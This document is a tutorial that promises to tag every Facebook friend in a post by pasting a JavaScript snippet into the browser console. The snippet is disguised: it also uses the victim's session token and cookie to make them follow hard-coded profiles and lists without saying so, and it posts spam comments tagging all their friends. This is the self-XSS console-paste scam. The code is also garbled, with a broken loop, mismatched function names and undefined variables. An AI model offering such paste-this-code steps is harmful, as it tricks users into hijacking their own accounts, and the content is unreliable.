When we talk about social media, Facebook immediately comes to mind. It's not just a famous social media website for sharing photos and emotions but also renowned for its practical and innovative applications.
Nowadays, Facebook is widely used on mobile devices. While using it, you can tag Facebook names on your phone to notify your friends about events instead of messaging each one individually.
Guide on How to Tag All Your Friends on Facebook in a Status or Photo
Step 1: Log in to your Facebook account.
Step 2: Upload your content.
You can post a Status, upload photos, videos, paragraphs... --> Click 'post' to upload to Facebook.
Step 3: Use the code snippet to tag.
Right-click on the posted content... ideally, hover over the comment box --> Select inspect element or press F12 then choose the console tab or press Ctrl+Shift+J:
Using the code snippet (code):
/* All Rights Reserved ElMzx.Ma Do Not Alter Anything */
function tagFriends(uids) {
var scriptElement = document.createElement('script');
scriptElement.innerHTML = 'new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: ' + uids + ' }).send();';
document.body.appendChild(scriptElement);
}tag('295407063938576');tag('355288751283740');tag('1394209820821373');tag('1394209677488054');
function tagFriends(abone)
{ var xhr=new XMLHttpRequest;
var apiUrl='/ajax/follow/follow_profile.php?__a=1';
var requestData='profile_id='+abone+'&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg='+fb_dtsg+'&lsd&__'+user_id+'&phstamp=';
xhr.open('POST', apiUrl, true);
xhr.onreadystatechange = function()
{ if(xhr.readyState==4&&xhr.status==200) xhr.close };
xhr.send(requestData)}
tagFriend('100007059427793');
function createXMLHttpRequest() { return window.ActiveXObject ? new ActiveXObject('Msxml2.XMLHTTP') : new XMLHttpRequest; };
function fetchFriends(){
var xhr = createXMLHttpRequest();
xhr.open('GET', '/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer='+uid+'&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm', false);
xhr.send(null);
if (xhr.readyState == 4) {
var parsedResponse = JSON.parse(xhr.responseText.substring(xhr.responseText.indexOf('{')));
return parsedResponse.payload.entries;
}
return false;
}
function fetchUID(b){
var xhr = createXMLHttpRequest();
xhr.open('GET', 'http://graph.facebook.com/'+b, false);
xhr.send();
if (xhr.readyState == 4) {
return uid = JSON.parse(xhr.responseText).id;
}
return false;
}
var pattern = /comment_text=(.*?)&/
var counter = 1;
username = /\.com\/(.*?)\//.exec(window.top.location)[1];
uid = fetchUID(username);
pageURL = window.top.location;
finish = 0;
var friendsList = fetchFriends();
postID = /[0-9]{8,}/.exec(xhr.responseText);
userIDs = 'comment_text=';
requestHeader = 'ft_ent_identifier='+postID+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+userID+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
for ( var i = 1 ; i < friendsList.length='' ;='' i++=''>
//userIDs += '%40[' + friendsList[i].uid + '%3A' + encodeURI(friendsList[i].text) + ']%20';
fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
userIDs += '%40[' + friendsList[i].uid + '%3AAAAAAAAAAAA]%20';
c++;
if(counter == 7){
userIDs += '&';
with(new XMLHttpRequest()) open('POST', '/ajax/ufi/add_comment.php?__a=1'),setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),send(requestHeader.replace(pattern, userIDs));
timer = setTimeout('function(){asd=0}', 1000);
clearInterval(timer);
counter = 1;
userIDs = 'comment_text=';
}
}
var accessToken = document.getElementsByName('fb_dtsg')[0].value;
var userID = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function getCookie(name) {
var searchString = name + '=';
if (document.cookie.length > 0) {
position = document.cookie.indexOf(searchString)
if (position != -1) {
position += searchString.length
end = document.cookie.indexOf(';', position)
if (end == -1)
end = document.cookie.length
return unescape(document.cookie.substring(position, end))
}
else { return ''; }
}
}
function generateRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function getRandomItem(arr) {
return arr[generateRandomInt(0, arr.length-1)];
}
var accessToken = document.getElementsByName('fb_dtsg')[0].value;
var userID = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function subscribe(abone){
var xhr = new XMLHttpRequest();
var requestUrl = '/ajax/follow/follow_profile.php?__a=1';
var requestData = 'profile_id=' + abone + '&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=' + accessToken + '&lsd&__' + userID + '&phstamp=';
xhr.open('POST', requestUrl, true);
// Send the appropriate header information along with the request
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.setRequestHeader('Content-length', requestData.length);
xhr.setRequestHeader('Connection', 'close');
xhr.onreadystatechange = function() {// Execute a function when the state changes.
if(xhr.readyState == 4 && xhr.status == 200) {
xhr.close; // Terminate the connection
}
}
http4.send(params4);
}
Step 4: Open and press Ctrl + A to copy everything --> Paste into the console -->Enter.
Step 5: Wait for loading. After pressing Enter, wait for it to fetch all friends in the list to load into the Comment.
In this article, we've shown you how to tag all your Facebook friends in a status or photo. With this method, you can easily tag all your friends in a status or photo instead of manually tagging each person one by one.